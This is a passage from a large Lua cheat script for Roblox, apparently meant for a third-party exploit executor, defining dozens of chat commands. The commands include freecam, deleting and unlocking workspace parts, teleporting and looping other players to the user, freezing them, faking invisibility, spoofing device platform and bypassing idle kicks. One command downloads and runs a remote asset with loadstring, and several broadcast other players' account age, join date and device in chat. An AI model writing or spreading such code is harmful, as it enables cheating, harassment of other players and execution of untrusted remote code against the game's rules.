  6479.  
  6480. local cameraCFrame = CFrame.new(cameraPos)*CFrame.fromOrientation(cameraRot.x, cameraRot.y, 0)*CFrame.new(vel*Vector3.new(1, 1, 1)*64*dt)
  6481. cameraPos = cameraCFrame.p
  6482.  
  6483. Camera.CFrame = cameraCFrame
  6484. Camera.Focus = cameraCFrame*CFrame.new(0, 0, -GetFocusDistance(cameraCFrame))
  6485. Camera.FieldOfView = cameraFov
  6486. end
  6487.  
  6488. local PlayerState = {} do
  6489. mouseBehavior = ""
  6490. mouseIconEnabled = ""
  6491. cameraType = ""
  6492. cameraFocus = ""
  6493. cameraCFrame = ""
  6494. cameraFieldOfView = ""
  6495.  
  6496. function PlayerState.Push()
  6497. cameraFieldOfView = Camera.FieldOfView
  6498. Camera.FieldOfView = 70
  6499.  
  6500. cameraType = Camera.CameraType
  6501. Camera.CameraType = Enum.CameraType.Custom
  6502.  
  6503. cameraCFrame = Camera.CFrame
  6504. cameraFocus = Camera.Focus
  6505.  
  6506. mouseIconEnabled = UserInputService.MouseIconEnabled
  6507. UserInputService.MouseIconEnabled = true
  6508.  
  6509. mouseBehavior = UserInputService.MouseBehavior
  6510. UserInputService.MouseBehavior = Enum.MouseBehavior.Default
  6511. end
  6512.  
  6513. function PlayerState.Pop()
  6514. Camera.FieldOfView = 70
  6515.  
  6516. Camera.CameraType = cameraType
  6517. cameraType = nil
  6518.  
  6519. Camera.CFrame = cameraCFrame
  6520. cameraCFrame = nil
  6521.  
  6522. Camera.Focus = cameraFocus
  6523. cameraFocus = nil
  6524.  
  6525. UserInputService.MouseIconEnabled = mouseIconEnabled
  6526. mouseIconEnabled = nil
  6527.  
  6528. UserInputService.MouseBehavior = mouseBehavior
  6529. mouseBehavior = nil
  6530. end
  6531. end
  6532.  
  6533. function StartFreecam()
  6534. local cameraCFrame = Camera.CFrame
  6535. cameraRot = Vector2.new(cameraCFrame:toEulerAnglesYXZ())
  6536. cameraPos = cameraCFrame.p
  6537. cameraFov = Camera.FieldOfView
  6538.  
  6539. velSpring:Reset(Vector3.new())
  6540. panSpring:Reset(Vector2.new())
  6541.  
  6542. PlayerState.Push()
  6543. game:GetService("RunService"):BindToRenderStep("Freecam", Enum.RenderPriority.Camera.Value, StepFreecam)
  6544. Input.StartCapture()
  6545. end
  6546.  
  6547. function StopFreecam()
  6548. Input.StopCapture()
  6549. game:GetService("RunService"):UnbindFromRenderStep("Freecam")
  6550. PlayerState.Pop()
  6551. workspace.Camera.FieldOfView = 70
  6552. end
  6553. end
  6554. StartFreecam()
  6555. end)
  6556.  
  6557. addcmd('unfreecam',{'nofreecam','unfc','nofc'},
  6558. function(args, speaker)
  6559. if fcLoaded then
  6560. StopFreecam()
  6561. end
  6562. end)
  6563.  
  6564. addcmd('freecamspeed',{'fcspeed'},
  6565. function(args, speaker)
  6566. if fcLoaded then
  6567. if args[1] and isNumber(args[1]) then
  6568. local FCspeed = args[1]
  6569. NAV_KEYBOARD_SPEED = Vector3.new(FCspeed, FCspeed, FCspeed)
  6570. else
  6571. NAV_KEYBOARD_SPEED = Vector3.new(1, 1, 1)
  6572. end
  6573. else
  6574. notify('Freecam Speed','Run freecam before adjusting its speed')
  6575. end
  6576. end)
  6577.  
  6578. addcmd('gotocamera',{'gotocam'},
  6579. function(args, speaker)
  6580. speaker.Character.HumanoidRootPart.CFrame = workspace.Camera.CFrame
  6581. end)
  6582.  
  6583. addcmd('fov',{},
  6584. function(args, speaker)
  6585. if isNumber(args[1]) then
  6586. workspace.CurrentCamera.FieldOfView = args[1]
  6587. elseif not args[1] then
  6588. workspace.CurrentCamera.FieldOfView = 70
  6589. end
  6590. end)
  6591.  
  6592. addcmd('fixcam',{'restorecam'},
  6593. function(args, speaker)
  6594. if fcLoaded then
  6595. StopFreecam()
  6596. end
  6597. workspace.CurrentCamera:remove()
  6598. wait(.1)
  6599. repeat wait() until speaker.Character ~= nil
  6600. workspace.CurrentCamera.CameraSubject = speaker.Character:FindFirstChildWhichIsA('Humanoid')
  6601. workspace.CurrentCamera.CameraType = "Custom"
  6602. speaker.CameraMinZoomDistance = 0.5
  6603. speaker.CameraMaxZoomDistance = 400
  6604. speaker.CameraMode = "Classic"
  6605. speaker.Character.Head.Anchored = false
  6606. end)
  6607.  
  6608. addcmd('enableshiftlock',{'enablesl','shiftlock'},
  6609. function(args, speaker)
  6610. speaker.DevEnableMouseLock = true
  6611. notify('Shiftlock','Shift lock is now available')
  6612. end)
  6613.  
  6614. addcmd('firstp',{},
  6615. function(args, speaker)
  6616. speaker.CameraMode = "LockFirstPerson"
  6617. end)
  6618.  
  6619. addcmd('thirdp',{},
  6620. function(args, speaker)
  6621. speaker.CameraMode = "Classic"
  6622. end)
  6623.  
  6624. addcmd('noclipcam',{'nccam'},
  6625. function(args, speaker)
  6626. speaker.CameraMinZoomDistance = math.huge - math.huge
  6627. speaker.CameraMaxZoomDistance = math.huge - math.huge
  6628. end)
  6629.  
  6630.  
  6631. addcmd('maxzoom',{},
  6632. function(args, speaker)
  6633. speaker.CameraMaxZoomDistance = args[1]
  6634. end)
  6635.  
  6636. addcmd('unlockws',{'unlockworkspace'},
  6637. function(args, speaker)
  6638. local function unlock(instance)
  6639. for i,v in pairs(instance:GetChildren()) do
  6640. if v:IsA("BasePart") then
  6641. v.Locked = false
  6642. end
  6643. unlock(v)
  6644. end
  6645. end
  6646. unlock(workspace)
  6647. end)
  6648.  
  6649. addcmd('lockws',{'lockworkspace'},
  6650. function(args, speaker)
  6651. local function lock(instance)
  6652. for i,v in pairs(instance:GetChildren()) do
  6653. if v:IsA("BasePart") then
  6654. v.Locked = true
  6655. end
  6656. lock(v)
  6657. end
  6658. end
  6659. lock(workspace)
  6660. end)
  6661.  
  6662. addcmd('delete',{'remove'},
  6663. function(args, speaker)
  6664. part = getstring(1)
  6665. local function dels(instance)
  6666. for i,v in pairs(instance:GetDescendants())do
  6667. if v.Name:lower() == part:lower() then v:Destroy() end
  6668. dels(v)
  6669. end
  6670. end
  6671. dels(workspace)
  6672. notify('Item(s) Deleted','Deleted ' ..getstring(1))
  6673. end)
  6674.  
  6675. addcmd('deleteclass',{'removeclass','deleteclassname','removeclassname','dc'},
  6676. function(args, speaker)
  6677. part = getstring(1)
  6678. local function dels(instance)
  6679. for i,v in pairs(instance:GetDescendants())do
  6680. if v.ClassName:lower() == part:lower() then v:Destroy() end
  6681. dels(v)
  6682. end
  6683. end
  6684. dels(workspace)
  6685. notify('Item(s) Deleted','Deleted items with ClassName ' ..getstring(1))
  6686. end)
  6687.  
  6688. addcmd('chardelete',{'charremove','cd'},
  6689. function(args, speaker)
  6690. part = getstring(1)
  6691. local function dels(instance)
  6692. for i,v in pairs(instance:GetDescendants())do
  6693. if v.Name:lower() == part:lower() then v:Destroy() end
  6694. dels(v)
  6695. end
  6696. end
  6697. dels(speaker.Character)
  6698. notify('Item(s) Deleted','Deleted ' ..getstring(1))
  6699. end)
  6700.  
  6701. addcmd('chardeleteclass',{'charremoveclass','chardeleteclassname','charremoveclassname','cdc'},
  6702. function(args, speaker)
  6703. part = getstring(1)
  6704. local function dels(instance)
  6705. for i,v in pairs(instance:GetDescendants())do
  6706. if v.ClassName:lower() == part:lower() then v:Destroy() end
  6707. dels(v)
  6708. end
  6709. end
  6710. dels(speaker.Character)
  6711. notify('Item(s) Deleted','Deleted items with ClassName ' ..getstring(1))
  6712. end)
  6713.  
  6714. addcmd('deletevelocity',{'dv','removevelocity','removeforces'},
  6715. function(args, speaker)
  6716. for i,v in pairs(speaker.Character:GetDescendants())do
  6717. if v:IsA("BodyVelocity") or v:IsA("BodyGyro") or v:IsA("RocketPropulsion") or v:IsA("BodyThrust") or v:IsA("BodyAngularVelocity") or v:IsA("AngularVelocity") or v:IsA("BodyForce") or v:IsA("VectorForce") or v:IsA("LineForce") then
  6718. v:Destroy()
  6719. end
  6720. end
  6721. end)
  6722.  
  6723. addcmd('btools',{},
  6724. function(args, speaker)
  6725. Instance.new("HopperBin", speaker.Backpack).BinType = 1
  6726. Instance.new("HopperBin", speaker.Backpack).BinType = 2
  6727. Instance.new("HopperBin", speaker.Backpack).BinType = 3
  6728. Instance.new("HopperBin", speaker.Backpack).BinType = 4
  6729. end)
  6730.  
  6731. addcmd('f3x',{'fex'},
  6732. function(args, speaker)
  6733. loadstring(game:GetObjects("rbxassetid://4698064966")[1].Source)()
  6734. end)
  6735.  
  6736. addcmd('antiafk',{'antiidle'},
  6737. function(args, speaker)
  6738. local GC = getconnections or get_signal_cons
  6739. if GC then
  6740. for i,v in pairs(GC(Players.LocalPlayer.Idled)) do
  6741. if v["Disable"] then
  6742. v["Disable"](v)
  6743. elseif v["Disconnect"] then
  6744. v["Disconnect"](v)
  6745. end
  6746. end
  6747. notify('Anti Idle','Anti idle is enabled')
  6748. else
  6749. notify('Incompatible Exploit','Your exploit does not support this command (missing getconnections)')
  6750. end
  6751. end)
  6752.  
  6753. addcmd('nopurchaseprompts',{'noprompts'},
  6754. function(args, speaker)
  6755. game:GetService("CoreGui").PurchasePromptApp.PurchasePromptUI.Visible = false
  6756. end)
  6757.  
  6758. addcmd('showpurchaseprompts',{'showprompts'},
  6759. function(args, speaker)
  6760. game:GetService("CoreGui").PurchasePromptApp.PurchasePromptUI.Visible = true
  6761. end)
  6762.  
  6763. addcmd('age',{},
  6764. function(args, speaker)
  6765. local players = getPlayer(args[1], speaker)
  6766. local ages = {}
  6767. for i,v in pairs(players) do
  6768. local p = Players[v]
  6769. table.insert(ages, p.Name.."'s age is: "..p.AccountAge)
  6770. end
  6771. notify('Account Age',table.concat(ages, ',\n'))
  6772. end)
  6773.  
  6774. addcmd('chatage',{},
  6775. function(args, speaker)
  6776. local players = getPlayer(args[1], speaker)
  6777. local ages = {}
  6778. for i,v in pairs(players) do
  6779. local p = Players[v]
  6780. table.insert(ages, p.Name.."'s age is: "..p.AccountAge)
  6781. end
  6782. local chatString = table.concat(ages, ', ')
  6783. game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(chatString, "All")
  6784. end)
  6785.  
  6786. addcmd('joindate',{'jd'},
  6787. function(args, speaker)
  6788. local players = getPlayer(args[1], speaker)
  6789. local dates = {}
  6790. notify("Loading",'Hold on a second')
  6791. for i,v in pairs(players) do
  6792. local user = game:HttpGet("https://users.roblox.com/v1/users/"..Players[v].UserId)
  6793. local json = game:GetService("HttpService"):JSONDecode(user)
  6794. table.insert(dates,Players[v].Name.." joined: "..json["created"]:sub(1,10))
  6795. end
  6796. notify('Join Date (Year/Month/Day)',table.concat(dates, ',\n'))
  6797. end)
  6798.  
  6799. addcmd('chatjoindate',{'cjd'},
  6800. function(args, speaker)
  6801. local players = getPlayer(args[1], speaker)
  6802. local dates = {}
  6803. notify("Loading",'Hold on a second')
  6804. for i,v in pairs(players) do
  6805. local user = game:HttpGet("https://users.roblox.com/v1/users/"..Players[v].UserId)
  6806. local json = game:GetService("HttpService"):JSONDecode(user)
  6807. table.insert(dates,Players[v].Name.." joined: "..json["created"]:sub(1,10))
  6808. end
  6809. local chatString = table.concat(dates, ', ')
  6810. game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(chatString, "All")
  6811. end)
  6812.  
  6813. addcmd('os',{'platform', 'device'},
  6814. function(args, speaker)
  6815. local players = getPlayer(args[1], speaker)
  6816. local platforms = {}
  6817. for i,v in pairs(players) do
  6818. local p = Players[v]
  6819. table.insert(platforms,p.Name.."'s platform is: "..p.OsPlatform)
  6820. end
  6821. notify('OS',table.concat(platforms, ',\n'))
  6822. end)
  6823.  
  6824. addcmd('chatos',{'chatplatform', 'chatdevice'},
  6825. function(args, speaker)
  6826. local players = getPlayer(args[1], speaker)
  6827. local platforms = {}
  6828. for i,v in pairs(players) do
  6829. local p = Players[v]
  6830. table.insert(platforms,p.Name.."'s platform is: "..p.OsPlatform)
  6831. end
  6832. local chatString = table.concat(platforms, ', ')
  6833. game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(chatString, "All")
  6834. end)
  6835.  
  6836. addcmd('setos',{'spoofos', 'osspoof'},
  6837. function(args, speaker)
  6838. speaker.OsPlatform = getstring(1)
  6839. notify('OS','Your os is now set to '..getstring(1))
  6840. end)
  6841.  
  6842. addcmd('copyname',{'copyuser'},
  6843. function(args, speaker)
  6844. local players = getPlayer(args[1], speaker)
  6845. for i,v in pairs(players) do
  6846. local name = tostring(Players[v].Name)
  6847. toClipboard(name)
  6848. end
  6849. end)
  6850.  
  6851. addcmd('copyid',{},
  6852. function(args, speaker)
  6853. local players = getPlayer(args[1], speaker)
  6854. for i,v in pairs(players) do
  6855. local id = tostring(Players[v].UserId)
  6856. toClipboard(id)
  6857. end
  6858. end)
  6859.  
  6860. addcmd('copyappearanceid',{},
  6861. function(args, speaker)
  6862. local players = getPlayer(args[1], speaker)
  6863. for i,v in pairs(players) do
  6864. local aid = tostring(Players[v].CharacterAppearanceId)
  6865. toClipboard(aid)
  6866. end
  6867. end)
  6868.  
  6869. addcmd('goto',{'to'},
  6870. function(args, speaker)
  6871. local players = getPlayer(args[1], speaker)
  6872. for i,v in pairs(players)do
  6873. if Players[v].Character ~= nil then
  6874. if speaker.Character:FindFirstChild("Humanoid") then
  6875. speaker.Character:FindFirstChildOfClass('Humanoid').Jump = true
  6876. end
  6877. speaker.Character.HumanoidRootPart.CFrame = Players[v].Character.HumanoidRootPart.CFrame + Vector3.new(3,1,0)
  6878. end
  6879. wait(0.1)
  6880. end
  6881. end)
  6882.  
  6883. addcmd('vehiclegoto',{'vgoto'},
  6884. function(args, speaker)
  6885. local players = getPlayer(args[1], speaker)
  6886. for i,v in pairs(players)do
  6887. if Players[v].Character ~= nil then
  6888. local seat = speaker.Character.Humanoid.SeatPart
  6889. seat.Parent.Parent:MoveTo(Players[v].Character.HumanoidRootPart.Position)
  6890. end
  6891. wait(0.1)
  6892. end
  6893. end)
  6894.  
  6895. addcmd('clientbring',{'cbring'},
  6896. function(args, speaker)
  6897. local players = getPlayer(args[1], speaker)
  6898. for i,v in pairs(players)do
  6899. if Players[v].Character ~= nil then
  6900. if Players[v].Character:FindFirstChild("Humanoid") then
  6901. Players[v].Character:FindFirstChildOfClass('Humanoid').Jump = true
  6902. end
  6903. Players[v].Character.HumanoidRootPart.CFrame = speaker.Character.HumanoidRootPart.CFrame + Vector3.new(3,1,0)
  6904. end
  6905. end
  6906. end)
  6907.  
  6908. bringT = {}
  6909. addcmd('loopbring',{},
  6910. function(args, speaker)
  6911. local players = getPlayer(args[1], speaker)
  6912. for i,v in pairs(players)do
  6913. spawn(function()
  6914. if Players[v].Name ~= speaker.Name and not FindInTable(bringT, Players[v].Name) then
  6915. table.insert(bringT, Players[v].Name)
  6916. local pchar=Players[v].Character
  6917. pchar:FindFirstChildOfClass('Humanoid').Jump = true
  6918. local distance = 3
  6919. if args[2] and isNumber(args[2]) then
  6920. distance = args[2]
  6921. end
  6922. local lDelay = 0
  6923. if args[3] and isNumber(args[3]) then
  6924. lDelay = args[3]
  6925. end
  6926. repeat
  6927. pchar = Players[v].Character
  6928. for i,c in pairs(players) do
  6929. if pchar~= nil and pchar:FindFirstChild("HumanoidRootPart") and speaker.Character ~= nil and speaker.Character:FindFirstChild("HumanoidRootPart") then
  6930. pchar.HumanoidRootPart.CFrame = speaker.Character.HumanoidRootPart.CFrame + Vector3.new(distance,1,0)
  6931. end
  6932. end
  6933. wait(lDelay)
  6934. until not FindInTable(bringT, Players[v].Name)
  6935. end
  6936. end)
  6937. end
  6938. end)
  6939.  
  6940. addcmd('unloopbring',{'noloopbring'},
  6941. function(args, speaker)
  6942. local players = getPlayer(args[1], speaker)
  6943. for i,v in pairs(players)do
  6944. spawn(function()
  6945. for a,b in pairs(bringT) do if b == Players[v].Name then table.remove(bringT, a) end end
  6946. end)
  6947. end
  6948. end)
  6949.  
  6950. local walkto
  6951. addcmd('walkto',{'follow'},
  6952. function(args, speaker)
  6953. local players = getPlayer(args[1], speaker)
  6954. for i,v in pairs(players)do
  6955. if Players[v].Character ~= nil then
  6956. if speaker.Character:FindFirstChild("Humanoid") then
  6957. speaker.Character:FindFirstChildOfClass('Humanoid').Jump = true
  6958. end
  6959. walkto = true
  6960. repeat wait()
  6961. speaker.Character.Humanoid:MoveTo(Players[v].Character.HumanoidRootPart.Position)
  6962. until Players[v].Character == nil or not Players[v].Character:FindFirstChild('HumanoidRootPart') or walkto == false
  6963. end
  6964. end
  6965. end)
  6966.  
  6967. addcmd('unwalkto',{'nowalkto','unfollow','nofollow'},
  6968. function(args, speaker)
  6969. walkto = false
  6970. end)
  6971.  
  6972. addcmd('freeze',{'fr'},
  6973. function(args, speaker)
  6974. local players = getPlayer(args[1], speaker)
  6975. if players ~= nil then
  6976. for i, v in pairs(players) do
  6977. spawn(function()
  6978. for i, x in next, Players[v].Character:GetDescendants() do
  6979. if x:IsA("BasePart") and not x.Anchored then
  6980. x.Anchored = true
  6981. end
  6982. end
  6983. end)
  6984. end
  6985. end
  6986. end)
  6987.  
  6988. addcmd('thaw',{'unfreeze','unfr'},
  6989. function(args, speaker)
  6990. local players = getPlayer(args[1], speaker)
  6991. if players ~= nil then
  6992. for i, v in pairs(players) do
  6993. spawn(function()
  6994. for i, x in next, Players[v].Character:GetDescendants() do
  6995. if x:IsA("BasePart") and x.Anchored then
  6996. x.Anchored = false
  6997. end
  6998. end
  6999. end)
  7000. end
  7001. end
  7002. end)
  7003.  
  7004. oofing = false
  7005. addcmd('loopoof',{},
  7006. function(args, speaker)
  7007. oofing = true
  7008. repeat wait(0.1)
  7009. for i,v in pairs(Players:GetPlayers()) do
  7010. if v.Character ~= nil and v.Character:FindFirstChild'Head' then
  7011. for _,x in pairs(v.Character.Head:GetChildren()) do
  7012. if x:IsA'Sound' then x.Playing = true end
  7013. end
  7014. end
  7015. end
  7016. until oofing == false
  7017. end)
  7018.  
  7019. addcmd('unloopoof',{},
  7020. function(args, speaker)
  7021. oofing = false
  7022. end)
  7023.  
  7024. addcmd('reset',{},
  7025. function(args, speaker)
  7026. speaker.Character:BreakJoints()
  7027. end)
  7028.  
  7029. addcmd('respawn',{},
  7030. function(args, speaker)
  7031. respawn(speaker)
  7032. end)
  7033.  
  7034. addcmd('refresh',{'re'},
  7035. function(args, speaker)
  7036. refresh(speaker)
  7037. end)
  7038.  
  7039. addcmd('invisible',{'invis'},
  7040. function(args, speaker)
  7041. -- Full credit to AmokahFox @V3rmillion
  7042. local Player = speaker
  7043. repeat wait(.1) until Player.Character
  7044. local Character = Player.Character
  7045. Character.Archivable = true
  7046. local IsInvis = false
  7047. local IsRunning = true
  7048. local InvisibleCharacter = Character:Clone()
  7049. InvisibleCharacter.Parent = game:GetService'Lighting'
  7050. local Void = workspace.FallenPartsDestroyHeight
  7051. InvisibleCharacter.Name = ""
  7052. local CF
  7053.  
  7054. local invisFix = game:GetService("RunService").Stepped:Connect(function()
  7055. pcall(function()
  7056. local IsInteger
  7057. if tostring(Void):find'-' then
  7058. IsInteger = true
  7059. else
  7060. IsInteger = false
  7061. end
  7062. local Pos = Player.Character.HumanoidRootPart.Position
  7063. local Pos_String = tostring(Pos)
  7064. local Pos_Seperate = Pos_String:split(', ')
  7065. local X = tonumber(Pos_Seperate[1])
  7066. local Y = tonumber(Pos_Seperate[2])
  7067. local Z = tonumber(Pos_Seperate[3])
  7068. if IsInteger == true then
  7069. if Y <= Void then
  7070. Respawn()
  7071. end
  7072. elseif IsInteger == false then
  7073. if Y >= Void then
  7074. Respawn()
  7075. end
  7076. end
  7077. end)
  7078. end)
  7079.  
  7080. for i,v in pairs(InvisibleCharacter:GetDescendants())do
  7081. if v:IsA("BasePart") then
  7082. if v.Name == "HumanoidRootPart" then
  7083. v.Transparency = 1
  7084. else
  7085. v.Transparency = .5
  7086. end
  7087. end
  7088. end
  7089.  
  7090. function Respawn()
  7091. IsRunning = false
  7092. if IsInvis == true then
  7093. pcall(function()
  7094. Player.Character = Character
  7095. wait()
  7096. Character.Parent = workspace
  7097. Character:FindFirstChildWhichIsA'Humanoid':Destroy()
  7098. IsInvis = false
  7099. InvisibleCharacter.Parent = nil
  7100. end)
  7101. elseif IsInvis == false then
  7102. pcall(function()
  7103. Player.Character = Character
  7104. wait()
  7105. Character.Parent = workspace
  7106. Character:FindFirstChildWhichIsA'Humanoid':Destroy()
  7107. TurnVisible()
  7108. end)
  7109. end
  7110. end
  7111.  
  7112. local invisDied = InvisibleCharacter:FindFirstChildOfClass'Humanoid'.Died:Connect(function()
  7113. Respawn()
  7114. end)
  7115.  
  7116.  
  7117. if IsInvis == true then return end
  7118. IsInvis = true
  7119. CF = workspace.CurrentCamera.CFrame
  7120. local CF_1 = Player.Character.HumanoidRootPart.CFrame
  7121. Character:MoveTo(Vector3.new(0,math.pi*1000000,0))
  7122. workspace.CurrentCamera.CameraType = Enum.CameraType.Scriptable
  7123. wait(.2)
  7124. workspace.CurrentCamera.CameraType = Enum.CameraType.Custom
  7125. InvisibleCharacter = InvisibleCharacter
  7126. Character.Parent = game:GetService'Lighting'
  7127. InvisibleCharacter.Parent = workspace
  7128. InvisibleCharacter.HumanoidRootPart.CFrame = CF_1
  7129. Player.Character = InvisibleCharacter
  7130. execCmd('fixcam')
  7131. Player.Character.Animate.Disabled = true
  7132. Player.Character.Animate.Disabled = false
  7133.  
  7134. function TurnVisible()
  7135. if IsInvis == false then return end
  7136. invisFix:Disconnect()
  7137. CF = workspace.CurrentCamera.CFrame
  7138. Character = Character
  7139. local CF_1 = Player.Character.HumanoidRootPart.CFrame
  7140. Character.HumanoidRootPart.CFrame = CF_1
  7141. InvisibleCharacter:Destroy()
  7142. Player.Character = Character
  7143. Character.Parent = workspace
  7144. IsInvis = false
  7145. execCmd('fixcam')
  7146. Player.Character.Animate.Disabled = true
  7147. Player.Character.Animate.Disabled = false
  7148. end
  7149. notify('Invisible','You now appear invisible to other players')
  7150. end)
  7151.  
  7152. addcmd('visible',{'vis'},
  7153. function(args, speaker)
  7154. TurnVisible()
  7155. end)
  7156.  
  7157. addcmd('strengthen',{},
  7158. function(args, speaker)
  7159. for _, child in pairs(speaker.Character:GetDescendants()) do
  7160. if child.ClassName == "Part" then
  7161. if args[1] then
  7162. child.CustomPhysicalProperties = PhysicalProperties.new(args[1], 0.3, 0.5)
  7163. else
  7164. child.CustomPhysicalProperties = PhysicalProperties.new(100, 0.3, 0.5)
  7165. end
  7166. end
  7167. end
  7168. end)
  7169.  
  7170. addcmd('weaken',{},
  7171. function(args, speaker)
  7172. for _, child in pairs(speaker.Character:GetDescendants()) do
  7173. if child.ClassName == "Part" then
  7174. if args[1] then
  7175. child.CustomPhysicalProperties = PhysicalProperties.new(args[1], 0.3, 0.5)
  7176. else
  7177. child.CustomPhysicalProperties = PhysicalProperties.new(0, 0.3, 0.5)
  7178. end
  7179. end
  7180. end
  7181. end)
  7182.  
  7183. addcmd('unweaken',{'unstrengthen'},
  7184. function(args, speaker)
  7185. for _, child in pairs(speaker.Character:GetDescendants()) do
  7186. if child.ClassName == "Part" then
  7187. child.CustomPhysicalProperties = PhysicalProperties.new(0.7, 0.3, 0.5)
  7188. end
  7189. end
  7190. end)
  7191.  
  7192. addcmd('jpower',{'jumppower','jp'},
  7193. function(args, speaker)
  7194. speaker.Character:FindFirstChildOfClass('Humanoid').JumpPower=tonumber(args[1])
  7195. end)
  7196.  
  7197. addcmd('gravity',{'grav'},
  7198. function(args, speaker)
  7199. workspace.Gravity = (args[1])
  7200. end)
  7201.  
  7202. addcmd('hipheight',{'hheight'},
  7203. function(args, speaker)
  7204. speaker.Character:FindFirstChildOfClass('Humanoid').HipHeight = args[1]
  7205. end)
  7206.  
  7207. addcmd('dance',{},
  7208. function(args, speaker)
  7209. if not r15(speaker) then
  7210. local pchar=speaker.Character
  7211. local anim = nil
  7212. local dance1 = math.random(1,7)
  7213. if dance1 == 1 then
  7214. anim = '27789359'
  7215. end
  7216. if dance1 == 2 then
  7217. anim = '30196114'
  7218. end
  7219. if dance1 == 3 then
  7220. anim = '248263260'
  7221. end
  7222. if dance1 == 4 then
  7223. anim = '45834924'
  7224. end
  7225. if dance1 == 5 then
  7226. anim = '33796059'
  7227. end
  7228. if dance1 == 6 then
  7229. anim = '28488254'
  7230. end
  7231. if dance1 == 7 then
  7232. anim = '52155728'
  7233. end
  7234. local animation = Instance.new("Animation")
  7235. animation.AnimationId = "rbxassetid://"..anim
  7236. animTrack = pchar.Humanoid:LoadAnimation(animation)
  7237. animTrack:Play()
  7238. else
  7239. notify('R6 Required','This command requires the r6 rig type')
  7240. end
  7241. end)
  7242.  
  7243. addcmd('undance',{'nodance'},
  7244. function(args, speaker)
  7245. animTrack:Stop()
  7246. animTrack:Destroy()
  7247. end)
  7248.  
  7249. addcmd('nolimbs',{'rlimbs'},
  7250. function(args, speaker)
  7251. if r15(speaker) then
  7252. for i,v in pairs(speaker.Character:GetChildren()) do
  7253. if v:IsA("BasePart") and
  7254. v.Name == "RightUpperLeg" or
  7255. v.Name == "LeftUpperLeg" or
  7256. v.Name == "RightUpperArm" or
  7257. v.Name == "LeftUpperArm" then
  7258. v:Destroy()
  7259. end
  7260. end
  7261. else
  7262. for i,v in pairs(speaker.Character:GetChildren()) do
  7263. if v:IsA("BasePart") and
  7264. v.Name == "Right Leg" or
  7265. v.Name == "Left Leg" or
  7266. v.Name == "Right Arm" or
  7267. v.Name == "Left Arm" then
  7268. v:Destroy()
  7269. end
  7270. end
  7271. end
  7272. end)
  7273.  
  7274. addcmd('noarms',{'rarms'},
  7275. function(args, speaker)
  7276. if r15(speaker) then
  7277. for i,v in pairs(speaker.Character:GetChildren()) do
  7278. if v:IsA("BasePart") and
  7279. v.Name == "RightUpperArm" or
  7280. v.Name == "LeftUpperArm" then
  7281. v:Destroy()
  7282. end
  7283. end
  7284. else
  7285. for i,v in pairs(speaker.Character:GetChildren()) do
  7286. if v:IsA("BasePart") and
  7287. v.Name == "Right Arm" or
  7288. v.Name == "Left Arm" then
  7289. v:Destroy()
  7290. end
  7291. end
  7292. end
  7293. end)
  7294.  
  7295. addcmd('nolegs',{'rlegs'},
  7296. function(args, speaker)
  7297. if r15(speaker) then
  7298. for i,v in pairs(speaker.Character:GetChildren()) do
  7299. if v:IsA("BasePart") and
  7300. v.Name == "RightUpperLeg" or
  7301. v.Name == "LeftUpperLeg" then
  7302. v:Destroy()
  7303. end
  7304. end
  7305. else
  7306. for i,v in pairs(speaker.Character:GetChildren()) do
  7307. if v:IsA("BasePart") and
  7308. v.Name == "Right Leg" or
  7309. v.Name == "Left Leg" then
  7310. v:Destroy()
  7311. end
  7312. end
  7313. end
  7314. end)
  7315.  
  7316. addcmd('sit',{},
  7317. function(args, speaker)
  7318. speaker.Character:FindFirstChildOfClass("Humanoid").Sit = true
  7319. end)
  7320.  
  7321. addcmd('jump',{},
  7322. function(args, speaker)
  7323. speaker.Character:FindFirstChildOfClass("Humanoid").Jump = true
  7324. end)
  7325.  
  7326. addcmd('infjump',{'infinitejump'},
  7327. function(args, speaker)
  7328. infJump = true
  7329. end)
  7330.  
  7331. addcmd('uninfjump',{'uninfinitejump','noinfjump','noinfinitejump'},
  7332. function(args, speaker)
  7333. infJump = false
  7334. end)
  7335.  
  7336. addcmd('team',{},
  7337. function(args, speaker)
  7338. local teamname = nil
  7339. for a,b in pairs(game:GetService("Teams"):GetChildren()) do
  7340. local L_name = b.Name:lower()
  7341. local F = L_name:find(getstring(1))
  7342. if F == 1 then
  7343. teamname = b
  7344. end
  7345. end
  7346. speaker.Team = teamname
  7347. end)
  7348.  
  7349. addcmd('nobgui',{'unbgui','nobillboardgui','unbillboardgui','noname'},
  7350. function(args, speaker)
  7351. for i,v in pairs(speaker.Character:GetDescendants())do
  7352. if v:IsA("BillboardGui") or v:IsA("SurfaceGui") then
  7353. v:Destroy()
  7354. end
  7355. end
  7356. end)
  7357.  
  7358. addcmd('spasm',{},
  7359. function(args, speaker)
  7360. if not r15(speaker) then
  7361. local pchar=speaker.Character
  7362. local AnimationId = "33796059"
  7363. SpasmAnim = Instance.new("Animation")
  7364. SpasmAnim.AnimationId = "rbxassetid://"..AnimationId
  7365. Spasm = pchar.Humanoid:LoadAnimation(SpasmAnim)
  7366. Spasm:Play()
  7367. Spasm:AdjustSpeed(99)
  7368. else
  7369. notify('R6 Required','This command requires the r6 rig type')
  7370. end
  7371. end)
  7372.  
  7373. addcmd('unspasm',{'nospasm'},
  7374. function(args, speaker)
  7375. Spasm:Stop()
  7376. SpasmAnim:Destroy()
  7377. end)
  7378.  
  7379. addcmd('headthrow',{},
  7380. function(args, speaker)
  7381. if not r15(speaker) then
  7382. local AnimationId = "35154961"
  7383. local Anim = Instance.new("Animation")
  7384. Anim.AnimationId = "rbxassetid://"..AnimationId
  7385. local k = speaker.Character.Humanoid:LoadAnimation(Anim)
  7386. k:Play(0)
  7387. k:AdjustSpeed(1)
  7388. else
  7389. notify('R6 Required','This command requires the r6 rig type')
  7390. end
  7391. end)
  7392.  
  7393. addcmd('animation',{'anim'},
  7394. function(args, speaker)
  7395. if not r15(speaker) then
  7396. local pchar=speaker.Character
  7397. local AnimationId = tostring(args[1])
  7398. local Anim = Instance.new("Animation")
  7399. Anim.AnimationId = "rbxassetid://"..AnimationId
  7400. local k = pchar.Humanoid:LoadAnimation(Anim)
  7401. k:Play()
  7402. if args[2] then
  7403. k:AdjustSpeed(tostring(args[2]))
  7404. end
  7405. else
  7406. notify('R6 Required','This command requires the r6 rig type')
  7407. end
  7408. end)
  7409.  
  7410. addcmd('tpposition',{'tppos'},
  7411. function(args, speaker)
  7412. if #args < 3 then return end
